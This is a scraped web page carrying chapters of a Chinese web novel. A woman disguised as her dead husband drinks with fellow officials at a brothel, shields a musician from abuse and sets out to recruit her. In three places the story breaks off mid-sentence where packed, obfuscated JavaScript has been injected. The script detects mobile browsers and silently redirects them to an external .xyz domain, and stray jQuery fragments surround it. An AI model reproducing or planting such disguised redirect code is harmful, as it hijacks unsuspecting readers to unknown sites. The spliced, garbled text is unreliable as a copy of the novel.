“你可以笑我天真,也可以说我固执。无论他人如何评说,这便是我的坚守。倘若人人都追求现实,四处趋炎附势,为自身利益蝇营狗苟,那又谈何家国大义?”
我沉默良久,不知如何开口。
一方面,我同情他,供奉着花天酒地的昏君,守着迂腐不堪的朝廷,还要自欺欺人。另一方面,我又佩服他,始终言行如一,选择淡泊名利,保持自身的气节。
我轻笑了几声。
赵怀礼问:“你笑什么?笑我愚昧无知?”
“不。”我回答,“我笑你可怜,笑你可悲。”
赵怀礼不解:“你这是何意?”
“没什么。”我笑着摇了摇头,“我只是忽然觉得,这世上有赵兄这样的人物,看起来也没那么不可救药了。常言都道,大智若愚,大巧若拙,大痴若悟。我瞧赵兄是个痴人,痴迷的是家国天下。”
赵怀礼闻言,神情有几分动容。他坐直了身子,面向我,问道:“那么,周弟是否也是痴人?”
这是他头一回称呼我为周弟。
先前他对我非常不屑,一直都是直呼其名,现在却忽然改了口。
我勾了勾嘴角,自嘲般说道:“在这人世间,贤人智人不到一成,痴人最多两成,剩下的十之七八,大多都是俗人。而我,好钱财、爱美色,便是俗到不能再俗的庸人一个。”
“周弟不必妄自菲薄。”赵怀礼露出不赞同的表情,摇头道,“周弟心如明镜,内心如此通透,已经远胜于浑浑噩噩之辈。”
“哦,是吗?”我眯起眼,用轻佻的语气问道,“可是赵兄几日前,还不是视我为宵小鼠辈?”
赵怀礼愣在原地,答不上话来。
我哈哈大笑,挥了挥衣袖:“只是开个玩笑罢了,赵兄不必慌张。”
赵怀礼却好像当了真,他侧过身子,郑重其事道:“是我道听途说,轻视了周弟,还请见谅。”
我是个记仇的人,冷不丁提起这茬,也只是想戏弄一下他,没真想让他道歉。看他这么认真,我反而有些不好意思。
幸好这时店小二端上了热菜,我连忙转移话题道:“这点小事,我完全没放在心上。菜上齐了,先动筷吧,免得待会冷了。”
7. 温柔乡
19
都说文人相轻,这话不是没有道理。
读书人大多喜欢卖弄文采。他们很难伺候,瞧不起胸无点墨之人,又讨厌别人压过自己的风头。
为了跟我的竹马们吟诗作对,在不冒犯他们的同时,又获得他们的赏识,我可费了好一番功夫。
不仅要饱读诗书,将各类典籍烂熟于心,还不能过于锋芒毕露,以免挫伤男人们可笑的自尊心。
熟读诗词歌赋也有不少好处,比如我在吃饭的时候,可以跟赵怀礼闲聊几句。
引经据典,再针砭时弊,最后来几段高谈阔论。这般操作下来,赵怀礼明显对我大大改观。
他对我侧目而叹:“周弟真是深藏不露,既有如此才华,又是何苦……”
何苦混迹于赌场,四处讨人嫌弃,枉费大好光阴,空占朝廷官职。
他没有把话说完,我却明白了他的未尽之言。
不仅他想知道,我也想知道。我真想把周佑民的骨灰从地里挖出来,然后怒骂他一顿。好好的一场人生开局,竟被他过得稀烂。
他不知道有多少穷困潦倒的农夫,羡慕他的衣食无忧;有多少怀才不遇的书生,次次科举落榜;又有多少文采斐然的女子,只能终身困于后院。而他中了科举,不想着为平民百姓谋利益,只顾着自己贪图享乐。
然而,纵使我有再多的诘问,周郎也无法给出回答。因为死人是不能说话的。
面对赵怀礼的感叹,我只能笑而不语。
在脑内思索了一圈,我故作高深地答道:“世人笑我太疯癫,我笑世人看不穿。这朝廷迂腐,容不下直言快语,我只好装作狂徒,肆意逍遥一把。”
这回答有些剑走偏锋,我也不知赵怀礼信了没有。
他沉吟片刻,告诫道:“周弟坦率,说者无心,但听者有意。这样的话莫要对他人说了。”
直言官场腐朽,容易被人当做把柄,指不定哪天就会被参上一本。
我明白他的好意,点了点头,也没有反驳。
酒足饭饱以后,店小二收拾了桌子。我走出酒楼,赵怀礼牵着侄子,准备跟我告别。
小孩不知怎么回事,可能是跟我处出了感情,竟有些依依不舍,拉着我的衣角不肯放手。
赵怀礼颇为无奈,好说歹说,也没能劝动。我揪了几把路边的草,随手编了个蟋蟀,塞到小孩的手里,安抚道:“听你小叔的话,乖乖回家去。下次我给你编小兔子,好吗?”
小孩犹豫再三,还是应了下来。他一步三回头地走了,还冲我挥了挥手。
我依稀看见,赵怀礼好像还冲我笑了一下。但由于距离隔得太远,我看得并不太真切。
20
刚回到府邸,家仆就迎上前来,为我端茶倒水。
他殷切地问道:“大人可玩得开心?”
我抿了一口热茶,想了想,答道:“还不错。”
家仆手脚勤快,在说话的间隙也没闲着,很快拿来更换的外衫,双手奉到我的面前。
我很喜欢他这股机灵劲儿,便随口问道:“你这么能干,不管到哪里,肯定都会讨主人家欢心。为何不随别的家仆离去,而偏偏选择留下,跟我待在这破落宅院?”
“大人曾好心收留我。小的愚笨,却也懂得知恩图报的道理。绝不愿因为一时的困顿,而抛弃您多日的恩情。”
我见他反应机敏,不像是寻常小厮,忍不住问道:“你倒是口齿伶俐,可有读过书?”
家仆双肩一顿,拱手弯腰俯身,把脑袋压得更低了些。我看不清他的脸,只能听见他的声音:“不曾。”
我起了怜悯之心,摸了摸他的头,说道:“改日我教你识字。”
家仆诚惶诚恐,答道:“谢大人。”
我随口吩咐了他几件事,便关上门窗,和衣而卧,准备小憩一番。
没想到再次醒来,却已是日暮西斜。连日来积累的疲惫,也跟着烟消云散。
我揉了揉眼,从床上坐起身,正想喊人过来,敲门声却先一步响起。只听家仆在门外说道:“大人,李大人派人来传话,说是想跟几位同乡一叙。”
官场难以独善其身,大多有自己的势力。世家大族靠的是宗亲关系,而寻常士大夫则倚仗门生关系。唯有寒门子弟既无显赫家世,又没有师长引荐,只能互相抱团取暖,凭借地缘关系彼此扶持。
光是这层关系,私下里不可避免要走动。
以往周郎跟他们不太亲厚,但不代表我就要避而不见。人生在世,多个朋友便多条出路,我可不想给自己树立敌人。
因此我想也没想,便应答道:“好。”
21
我来到约定见面的地点。
抬头一看牌匾,只见上头刻着明晃晃的三个大字:温柔乡。
这名字听起来真不像正经地方。
柜台处倚着个花枝招展的女人,她看起来上了年纪,却掩盖不住眼底的风流。见我站在门口踟蹰不前,她便拎着手帕迎了出来,笑靥如花道:“客官是来吃饭的,还是看舞乐的?可有定包房?”
我定了定神,回答道:“地字三号厢房,劳烦老板娘引路。”
“原来是李公子的客人,不用跟奴家客气。”女人用手帕虚掩嘴角的笑,落落大方道,“客官请随我来。”
我跟在她的后头,还未走上台阶,便听见二楼传来丝竹管乐之音。歌女唱着小调,随奏乐声时起时伏。
老板娘停下脚步,轻叩了几声,唤道:“各位大人,你们等的人来了。”
过来开门的是刘郎,他挑了挑眉,开口便是刺:“哟,周弟架子不小,可叫我们好等呐。”
上回他向我示好,希望我加入他的党派,我没有答应,想必他一直心怀芥蒂。如今再次见面,自然不会给我好脸色。
我没有搭他的话茬,只是绕了过去,径直往里走去,对包厢内坐着的其他同乡拱手以示敬意。
李郎见气氛有些不对劲,依旧当了个和事佬:“也没有等多久,不是周弟来得晚,是我来得早了些。”
刘郎脸色缓和了些许,冷哼一声:“这倒也是,他人好歹来了,总比张知节连人影也见不着好。”
顾郎拍了拍大腿根,笑道:“那是因为他怕老婆。”
李郎笑着附和道:“要是我娶了丞相的独女,我也怕。”
我有些不解,问道:“不
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15560171|171380||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
过是出来吃顿饭,有什么不妥当的地方吗?”
对面几人相视而笑,露出男人间心照不宣的神情。唯有顾郎迟疑了一下,上下打量了我几眼,指着旁边的舞女,解释道:“这里,不只能吃饭。”
后半句话他虽然没有说完,但我却领会了他的意思。原来我的猜想不假,温柔乡真是这么个说法。
顾郎不记仇,火气来得快,去的也快。上回他还扬言要揍我,这回反倒直接坐在了我身边。他用审视的目光望着我,问道:“你是真不知道,还是在装傻?”
顾郎不会隐藏自己的内心,有什么事直接摆在脸上。他此刻的神情仿佛在说:婉清还未去世多久,你若是敢负她,我一拳揍得你生不如死。
面对他威胁的眼神,我却泰然处之。
明枪易躲,暗箭难防。我不忌惮顾郎这种直来直去的莽汉,我只怕那种笑里藏刀的伪君子。
刘郎似乎察觉到我们之间的暗流涌动,故意拱火道:“周弟,这里好几个舞女歌姬,你选一个吧。”
你个小心眼的鳖佬,不就是没搭理你嘛,至于这样害我吗!
我心里恨得牙痒痒,面上只能陪笑道:“今日我来晚了,当做赔礼道歉,各位兄长先选。”
瞧顾郎那副模样,我若是真的从中挑选了女人,他怕是当场要掀翻桌子。
刘郎驾轻就熟点了弹琴的姑娘,李郎对吹笛子的姑娘招了招手,唤她来到自己身边。看他们这副熟稔的模样,应该没少出入这里。
顾郎大马金刀坐在凳子上,全程目不斜视,只是死盯着我,好像是修筑城墙的监工。
我不由得汗颜:“你看我干什么,你看姑娘啊!”
“呵。”顾郎嗤笑一声,“我若不盯着你,你肯定要水性杨花、左拥右抱。”
我被噎了一下。
要不是不想暴露自己是叶婉清,我真想踹他几脚。该死的顾明远,我当初是怎么教你成语的,居然这样乱用!
顾郎通过武举得官,但学识不如其他竹马渊博。为了弥补他的缺陷,我那时没少帮忙补习。现如今是觉得搬起石头砸了自己的脚。
偏偏刘郎还嫌闹的不够大,在旁边火上浇油,笑道:“周弟,怎么还不选,难道你也怕老婆?”
“是啊。”我冷笑一声,皮笑肉不笑地看着他,“我怕我最爱的婉清,从地里爬出来,哭着说她死不瞑目,哭着说她看走了眼,遇上了负心郎!”
出话一出,在场无人应声。
他们都认识我,都知道死去的叶婉清,也都曾许下海誓深盟。
只可惜,这世上易求无价宝,难得有情郎。他们都做了负心汉,自然做不到问心无愧。
“哈哈哈哈哈哈。”顾明远忽然仰天大笑,像是听见什么天大的笑话一般。
他笑得前俯后仰,甚至笑出了眼泪。他抹去眼角的泪水,拍了拍我的肩膀:“我以前怎么不曾发现,你说话竟这般有趣。”
我忍不住嘴角抽搐。顾明远估计是因为“叶婉清”的死受了些刺激,满腔情感无处发泄,于是尽数把注意力倾注在娶了“叶婉清”的周郎身上。
这让我感觉浑身不自在,仿佛被饿狼给盯上了一般。
8. 真心
22
顾郎的笑声,兀自回荡在偌大的厢房,显得有些不合时宜。
刘郎看着有些心烦意乱,便朝身旁的女子喝道:“还呆愣着干嘛,接着奏乐!”
许是他的声音太大,那女子哆嗦了一下,但还是乖顺地拨弄起琴弦。
李郎安抚道:“刘兄莫恼,她们不会伺候人,赶明儿我寻些姿色尚佳的美人给你瞧瞧。”
“何止是不会伺候人,简直是歪瓜裂枣。”刘郎脸色稍霁,扬了扬下巴,“不懂诗情画意就算了,长得也寒酸磕碜。这个嘴巴太大,那个鼻子占地方,还有这个目光呆滞,看着就是个傻婆娘!”
他这副挑挑拣拣的架势,不知道的还以为是皇上选妃呢。
我竭力压下心头的厌恶,只觉得如坐针毡。
在场的女人,显然不只有我这么想。先前有个抱琵琶的女子,始终默默站在角落,低头一言不发。直到听见刘郎的嘲讽,她才抬起头来,眼底隐隐有几分不服气。
论乐曲的造诣,她们绝不逊于男子,甚至有过之而无不及。此刻我仿佛跟她心意相通,明白了她未曾言说的委屈愤恨。
这姑娘还是太年轻,喜怒皆显于形,容易被人看透心思,成为众矢之的。
我微微侧过身子,想要挡住她的面容。
可这愤世嫉俗的脸庞,在一众低眉顺眼的女子中显得太过突出。刘郎先我一步,察觉到了她的神情。
“你,叫什么名字?”
刘郎扬起下巴,撑着膀大腰圆的身子,死死盯着这女子。
“奴家名唤紫苏。”
女子抬起头,不卑不亢地答道。
“这名字不好。你既以中药命名,倒不如用花楹、连翘、雪见之类的名字。”刘郎摆出一副挑剔的模样,颇为嫌恶地说道,“紫苏不仅长得丑陋,味道还刺鼻,实在是不讨喜。”
只要是明眼人,都能听出他在指桑骂槐。表面是说紫苏气味冲,实际上是在阴阳这姑娘貌丑脾气差。
紫苏显然听懂了这番话。她咬了咬唇瓣,没有出言反驳,脸颊却因为愠怒而泛红。
我在心底冷哼一声。
果真是狗改不了吃屎,男人大多是刘郎这副臭德行。明明没碍着他的眼,也要指指点点一大堆,叫女人依照他的喜好去改。
若是女人乖顺听从,便会变本加厉,将其牢牢管教在自己手中,不准违背反抗。若女人心有不满,便要鸡蛋里挑骨头,从各方面不断打压,直到对方屈服为止。
我隐忍片刻,最终还是忍不住开口:“我倒觉得紫苏很好。生在山野,风来听风,雨来赏雨。没有花朵娇贵,还比杂草有用。既能解表散寒,又能止咳化痰。”
刘郎一时哑然。他停顿片刻,似要反驳,又想不出措辞。于是斜睨我一眼,意味深长地说道:“呵,周弟倒是懂得怜香惜玉。真是好一出英雄救美,我反倒成了恶人。”
“既然这样,我这恶人就得做到底了。”刘郎伸出手,拽着紫苏的衣衫,将她推到我的怀里,又拎起酒壶倒了满满一杯酒,“来,喝酒。”
紫苏瞪着眼,把头扭到一边,不愿搭理他。
没想到刘郎竟钳住她的下颚,掰开她紧闭的牙关,强制将酒水灌入她的口中。紫苏使劲转过头,脸颊却被死死捏住,嘴角流出的酒水,淌得到处都是,浸透了她的衣裳。
“住手。”
我忍无可忍,甚至想要伸手扇他一耳光。
这个王八羔子,读了那么多圣贤书,半点品德没学到,尽知道仗势欺人。
刘郎挑了挑眉,语气带着几分戏谑:“她不喝,那你来喝?”
他将酒杯酌满,推到我的前面,直勾勾地盯着我。
我没有说话,拿起酒杯一饮而尽。
“好,好极了。”刘郎鼓了鼓掌,再次倒满酒,“来,继续喝。”
我一声不吭,再次喝完了酒。
“接着喝。”
抬手,放下。
“再来。”
再抬手,再放下。
不知喝过了多少轮,我只觉得眼前天旋地转。
周遭的人事物都变得虚浮,一切如同镜中月水中花,朦朦胧胧看不清楚。
刘郎不怀好意的脸,李郎作壁上观的脸,顾郎百无聊赖的脸。一张张脸漂浮在半空,看起来荒诞而又可笑。
最后我的目光停留在紫苏的脸上,她那担忧紧张的神情,却显得异常真实。
我仿佛从现实中剥离,双眼模糊不清,大脑却无比清醒。
我知道刘郎是故意灌醉我,他想要我出糗,想要我吃苦头。这事没有损害李郎的利益,所以他没有出言阻拦,只当是看了个乐子。至于顾郎,他打了个哈欠,看起来似乎更想回家。
我歪着脑袋,看了看他,问道:“你为什么不帮她?”
顾郎像是听见了什么奇怪的话。他有些莫名其妙地问道:“我为什么要帮她?”
“她是个卖唱的,又不是良家女。既然入了风尘,就该拿出应有的架势。一方图财,一方图色。客人花了银两,她又何必惺惺作态,摆出一副受折辱的模样?”顾郎丝毫不觉有异,反而坦然道,“追根究底,本就是个你情我愿的事。若真想当贞洁烈妇,就不应该干这种活计。”
“好一个你情我愿。”我忍不住冷笑道,“若有女子自小被父母卖去乐坊,沦落到此地,难道是出于她愿?若有女子父母双亡,孤苦伶仃只为糊口,来干这活计,莫非也是她咎由自取?你可抛头露面,她却只能守四方宅院;你可考官入仕、平步青云,她却只能相夫教子、苦守寒窑;你有凌云壮志、通天大道,她却只有崎岖小路、了却残生。”
顾郎听见我的这番话,眼里有一瞬间的茫然。他似乎从未料想过这些,可是又想要驳倒我,于是竭力寻找着漏洞:“可你说的这些,全部都是假设,自然当不了真。”
我摊开手掌,举到他的面前:“你看着我的手,这里有什么?”
顾郎的目光像是在看一个醉汉。他道:“什么都没有。”
“对,什么也没有。”我跟着重复了一遍,“你觉得,现在我的手里没有银子,就代表我没有银子吗?现在你的眼前空空如也,没有山川河流,就代表大山不存在了吗?我方才列举的那些情况,那些女子的苦衷,不发生在你眼前的事,就不存在了么?”
“可是……”顾郎眉头挤成一团,却又说不出反驳的话。
“可
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15560172|171380||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是众生皆苦,都是这般熬过来的。”刘郎突然插话。
他嘴角挂着凉薄的笑,轻飘飘看了一眼紫苏,继续道:“我们十年寒穿苦读,才换来今日的锦衣玉食。今日我可怜她,谁又来可怜我?若这世上所有人,遭了苦难都要喊上几嗓子。我们人人都要可怜,可怜来,可怜去,那不得累死!”
顾郎原本纠结的表情,立刻得到了放松。他连连点头道:“确实如此。”
23
我的大脑忽然冷静下来,酒气也散了几分。
原来我并没有自己自认为的那么了解顾郎。我以为他虽是草莽粗汉,但内心却纯真赤诚。可其实说到底,他也是个男人。
只要是男人,就会千百种方法为自己开脱。他们骨子里仿佛刻着肉弱强食的本能,总是会天然选择有利于自己的说辞。
我恍然间回过神,才发觉不知从何时起,眼前形成了泾渭分明的一道线。以木桌为分水岭,我和紫苏站在这头,而刘郎顾郎等人站在那头。
站队归属早已不言而喻,他们终究是一伙的,而我则是个异类。
哪怕外表举止装得再像男人,我也终究是一个地地道道的女子,无法同他们沆瀣一气。明明只要味着良心,选择视而不见,我就能跟他们打成一片,可我偏偏做不到。
我原以为自己已经足够残忍,可来到他们的世界以后,我才发觉自己幼稚得可笑。
正所谓天道好回轮,苍天绕过谁。当初我笑赵怀礼天真,现如今在他们的眼里,我又何尝不是一种赵怀礼呢?
权色酒财,如同四字真言,将他们牢牢系在一起,成为不可分割的链条。而我却以卵击石,妄图打破这道枷锁。
“顾明远,婉清生前曾跟我提起过你。”我定了定神,目不转睛地盯着顾郎。
顾郎双眼一亮,连忙追问道:“她怎么说我的?”
“她说,你生性率直,满腔铁胆热肠,路见不平总会拔刀相助。”我缓缓吐出一口浊气,声音没有任何起伏,“如今我倒觉得,她真是看错了人。幸好她没有嫁给你。”
现在我明白了,原来在我自己都没有察觉到的内心深处,我也曾对顾郎隐隐抱有一丝期盼。
我盼他跟寻常人不同。可近朱者赤,近墨者黑。三年之内,他兴许还是个赤忱的少年郎。五年之内,他或许仍然能保持赤子之心。那么八年、十年以后呢?
画虎画皮难画骨,知人知面不知心。真心向来瞬息万变,是否有朝一日,他也会被这偌大的京城所腐蚀,最后彻底沦为他们的同类?
再真挚热烈的情感,都经不起柴米油盐的蹉跎。待我容颜老去,红颜化作枯骨,兰因终成絮果。曾经的情窦初开,怕是难以善始善终,最后只能潦草收场,酿成一对仇敌怨偶。
与其如此,倒不如从未开始。
“你,再说一遍?”顾郎站起身,攥紧了拳头,一步一步地逼近。
我抬起头,毫不避讳地跟他对视,又重复了一遍:“我说,幸好叶婉清没有嫁给你。”
“好,很好。”顾郎顷刻间红了双眼,额头青筋暴起。他伸手一拍桌子,咬牙切齿地说道:“果然酒壮怂人胆,你竟然如此不知天高地厚,敢说这种话!”
9. 寿礼
24
在冲动挑衅顾郎的那一刻,我就做好了被揍的准备。
看见顾郎握拳,李郎“蹭”地站了起来,浑身紧绷地盯着这边,随时准备过来拉架。刘郎也坐起身体,模样不大轻松。
对于他们来说,先前只不过是动动嘴皮子功夫,开些不痛不痒的玩笑,自然是无伤大雅。若是见了血,闹出人命,就要另当别论了。
空气仿佛凝固,场面僵持不下。
顾郎忽然收回拳头,深吸一口气,转头拿起桌上的酒杯,泼到了我的脸上。
他说:“我看你是醉过头,该醒醒神了。”
“你看起来也醉得不轻。”我抹了一把脸,检查人皮面具没有松动,再甩了甩头发沾上的酒水。
见我们没打起来,李郎稍微松了口气,忙不迭递来手帕,安抚着我:“哎呀,喝酒误事,不要意气用事嘛!逝者长已矣,过去的都过去了,往事休要再提。”
刘郎若无其事地劝道:“都是同乡,别伤了和气。”
我忍不住瞪他。这时候倒是知道同乡了,先前故意刁难我的时候,你这王八羔子可没管和气不和气。
这毫无歉意,只想息事宁人的态度,看得我直窝火。我心知若坐在这里的是张知节,他们绝不会这般怠慢他。
在这分三六九等的官场,若身份地位不够显赫,便只有遭人蹂躏的份。
我暗暗攥紧拳头,在心中发誓,今日他们要我吃的这哑巴亏,来日我叶婉清必定双倍奉还。
见我面露不虞,刘郎连忙转移话题:“对了,李兄,你今日叫我们过来相聚,是有何事要谈?”
李郎一拍脑袋,如梦初醒般说道:“你瞧我这记性,光顾着喝酒,差点忘记正经事。”
“今日我叫诸位来,其实……”他停顿片刻,目光扫了一圈,稍微卖了个关子,才不急不慢地继续说道,“……是因为圣上的诞辰。”
此话一出,刘郎的神情立刻凝重了几分。我有些不解,于是微微偏过头,不动声色去观察顾郎的反应。
他同样摸不着头脑,直接开口问道:“诞辰就诞辰,难道有什么问题吗?”
“顾弟,你今年才入京,不知道也正常。”李郎压低声音,缓缓说道,“若论什么日子,圣上最难伺候,这诞辰当属第一。”
顾郎纳闷道:“为何?”
“这事说来话长。”李郎摆了摆手,示意歌女舞姬退下,才不紧不慢地解释道,“这事还得从已逝的前皇后说起……”
说罢李郎起了架势,仿佛一个酒楼的说书人。虽无醒木拍桌,却有人前摇扇。只听他摇头晃脑,绘声绘色讲起了这桩陈年往事。
圣上还是太子时,皇后就是太子妃,两人相互扶持,可谓是伉俪情深。既是青梅竹马,又彼此情投意合。太后娘娘看不惯皇后娘娘,在圣上登基为帝以后,太后曾多次中从插手,往后宫不断施压。圣上实在受不了,便主动疏远了皇后,从秀女中另择几位纳入后宫。
皇后娘娘自此吃斋礼佛,再也不过问圣上的事情,甚至整整一年都未曾同房。直到后来东窗事发,皇后娘娘竟然跟年轻太医私通,在圣上生辰之日当场抓了个现行。
圣上龙颜大怒,皇后娘娘却愤然道:“只许你三宫六院、粉红佳人,却不许我暗通曲款,真是好没道理。”
这话含着几分报复的意味,也道出了她私通的原因。圣上见她毫不羞愧,便怒骂她水性杨花、恬不知耻,下令当场处决这对奸夫□□。
皇后娘娘回答:“等闲变却故人心,却道故人心易变。当初说要跟我白头偕老的是你,后来置我于不顾的也是你。与其死在你这等负心汉的手里,我倒不如跟情人殉情来得痛快。”
说完这句话,她便拔下钗子,刺死了私通的太医,然后选择了自裁。
寥寥数语,便道尽了一个女子敢爱敢恨的一生。
我心中有些唏嘘,对着未曾谋面的前皇后,不由得生出几分惋惜。
刘郎却嗤之以鼻道:“要我说,这人就是贱。圣上好生待她,她却私相授受。都已经当了皇后,还不知满足,竟妄想圣上独宠她一人,真是不识大体。太后娘娘有先见之明,早些年便让圣上跟这妒妇离了心,可谓是顾全大局。”
“刘兄慎言,这皇家之事,不是我们可以妄自非议的。”
李郎左顾右盼,担心隔墙有耳,便没再附和,而是中规中矩地评价道:“皇后生前是大将军的女儿,脾气爆性子烈,也是圣上相识多年的旧人。圣上是个重情重义的儿郎,至今妃嫔无数,却迟迟没有立后,恐怕也是伤透了心。他们二人当年爱得轰轰烈烈,最后却这般潦倒收场,怎会不令人感到唏嘘悲哀。我估摸算了一下,似乎就是从那时起,圣上开始纵情于声色犬马,日日待在脂粉堆里借酒消愁,再也不愿过问政事。”
说罢,他又转过头对顾郎解释道:“圣上的生辰,同时也是前皇后的忌日。每逢这个时候,圣上的心情便会阴晴不定。祝寿送礼必须尤为小心,笑也不行,哭也不行,面无表情也不行。”
“那可不是嘛。”刘郎点了点头,适时补充道,“每年都有那么几个倒霉蛋遭殃,要么因为表现得太过喜庆被拖走,要么因为板着脸没有笑而流放。周弟年轻气盛,可得当心呐。”
我忍不住眯起眼。
哟,这家伙是在点我呢。不就是在咒我,控制不住表情,最后可能被收拾掉嘛。
他有心嘲讽我,我又不是任由人揉搓的软包子,才不会任由他挖苦。
“有劳刘兄关心。”我举杯朝他敬酒,回答道,“生死由命,富贵在天,我周某人随遇而安,不担心这些。反倒是刘兄,可有想好献上什么寿礼?送泥菩萨如何?”
“圣上信道不信佛,送劳什子泥菩萨……”刘郎不屑一顾,嘴里正嫌弃着,说到一半顿住。他后知后觉反应过来,脸色立刻沉了下来。
我想他应该是明白了那句话的意思。泥菩萨过河——自身难保。
刘郎怒目而视,我笑而不语。他有空操心我,倒不如先担心自己。指不定那天就人头落地,小命不保了。
李郎察觉到我们剑拔弩张的气氛,连忙岔开话题:“说来惭愧,我冥思苦想几日,也没有拿定主意,不知该为陛下献上何等寿礼,因此才邀各位相聚。不知各位有何高见?”
“我还纳闷李弟今日为何如此大方,原来是探我们的口风来了。”刘郎半开玩笑地说道,却并未急着回答问题,而是转向了顾郎,“不知顾弟是否有好主意?”
顾郎思索片刻,回答道:“如果是我,大概会送夜明珠。”
李郎点头:“不错,中庸之道,总归出不了错。”
他嘴上称赞,面上却是难掩失落。圣上什么好东西没见过,夜明珠有些流于俗套。混在一众寿礼里,估计难以留下印象,更别说在圣上面前表现自己。
李郎转头追问:“刘兄可有何指教?”
刘郎含糊其辞:“这事我也没有想好。”
若是真能想到别出心裁的寿礼,又怎会轻易告
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15560173|171380||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
知他人。刘郎闭口不言,李郎愁眉苦脸。
说什么礼轻情意重,那都是糊弄人的说辞。这送礼的门道可深了,既不能送得便宜,又要避免大出血,须得绞尽脑汁,才能送到人的心坎上。
这也是李郎宴请我们的最终目的。他想要根据我们的备礼,来敲定自己该献上何等贵重程度的寿礼。
我权衡片刻,决定卖他个人情:“李兄,在下不才,正好有点主意。”
李郎闻言,立刻振作起来,连忙为我酌酒:“洗耳恭听。”
我清了清嗓子,说道:“皇宫金银珠宝满贯,山珍海味俱全。李兄若是要送礼,需要独辟蹊径,才能不落窠臼。我听闻圣上好字画,不妨请来书画名家,合力写一万个寿字,作一幅万寿无疆图。”
李郎闻言,拍手称赞道:“周弟当真是聪慧!”
刘郎半信半疑地看着我,问道:“周弟有如此好的主意,为何不自己用,莫不是有更好的想法?”
我早就想好了说辞:“得道多助,失道寡助。我们同乡一场,唯有相互扶持,才能在这京城待得长久。今日我为李兄出谋划策,也算是为了我自己。”
“是啊,周弟所言,甚是有理。”李郎领了我的情,这会儿知道站出来帮我说话了。
只听他情真意切,说道:“正所谓唇亡齿寒,我们都出身清河县,便是一荣俱荣、一损俱损。切不可互相倾轧,为名利斗得头破血流。唯有抱团取暖,方为良策。”
面对这根墙头草,刘郎并未多言,只是冷哼一声:“是我以小人之心,度君子之腹了。”
寿礼之事商定,桌上酒菜已尽,眼下也没有其他事,便准备分道扬镳,各自回家休憩。
告别的时候,顾郎欲言又止,瞥了我好几眼,似乎按耐不住心中的好奇。
他问:“你到底要送什么?”
我回答:“无可奉告。”
待彻底分开,我停下脚步,确认四周无人,才重新折返回温柔乡。
面对我的去而复返,老板娘意味深长地问道:“公子可是落下了什么东西?”
我给她塞了些银子,笑道:“东西没落,倒是心落在此处了。还请老板娘为我寻来紫苏姑娘,我有话要跟她单独说。”
老板娘眼珠子一转,拍了拍我的肩:“这点小事,公子放心。你能看上紫苏,是那丫头的福分,奴家这就为您喊来。”
“哎,等等。”我又往她的手里添了一个银子,“有些事不方便在同僚面前声张,还请老板娘多多担待。”
老板娘收下银子,喜笑颜开道:“这点眼力见,奴家还是有的,必定守口如瓶。”
她领我来到小间包厢,便出门唤紫苏。不多时,紫苏便走了进来。
我还未开口,紫苏便先行了大礼。她道:“谢谢公子为我解围。”
“这事对我来说,不过是举手之劳,姑娘不必挂齿。”
紫苏却很坚定:“对于公子来说,这兴许是小事,但对紫苏却是意义非凡。我本命如浮萍,身如蝼蚁,万事遭人摆布,百般身不由己。公子却待我如常,出言为我说话。今日之恩,紫苏来日必定涌泉相报。”
“其实,不必等来日,眼前便有时机。”我连忙将她扶起,轻声说道,“但我并非是挟恩图报之人。因此,我会给你选择。若你听完我的来意,不愿冒着风险,我便不会再来叨扰。”
紫苏认真道:“公子请讲。”
我问她:“你想不想把今日嘲笑你的人,尽数踩在脚下?”
10. 权力
25
正所谓独木不成林,单丝难成线。在这偌大的京城,我若是单打独斗,迟早会碰得个头破血流。
因此,我打算培养自己的势力。紫苏便是我看中的人选之一。
我喜欢她的眼神,骨子里带着一股子劲儿,那是不逊于任何的欲望。而人只要有欲望,便可以适当拉拢,结成目的一致的同盟。
虽然她行事稍显稚嫩冲动,但我明白她是我的同类。因为我们都不甘心屈居人下,我们都有隐藏在表象之下的野心。
包厢内很安静,只能听见呼吸声起伏。
紫苏低着头,脸上神情不明。她的声音带着几分克制:“公子这是何意?”
“世人总喜欢以欺凌弱小来彰显自己的优越。殊不知宰杀他人的权力,同样会宰杀自己。将他人交到自己手中的法则,同样会把自己交到更强力的手中。”我放缓语调,一字一句地说道,“我的那些同僚,今日对你肆意折辱,无非是因为你没有权力。若你大权在握,身份尊贵,你猜他们又该如何?”
紫苏闻言,忽然抬起头,直直地看向我。她的后背绷紧,双眸不断闪烁,似乎在思量着什么。
“公子有所不知,我这辈子遇见过形形色色的男人。但凡心有图谋,他们便会花言巧语,极尽自己所能引诱。虽然我对公子心存感激,但终归是萍水相逢一场。我也并非不谙世事的少女,会轻易相信陌生人的说辞。”
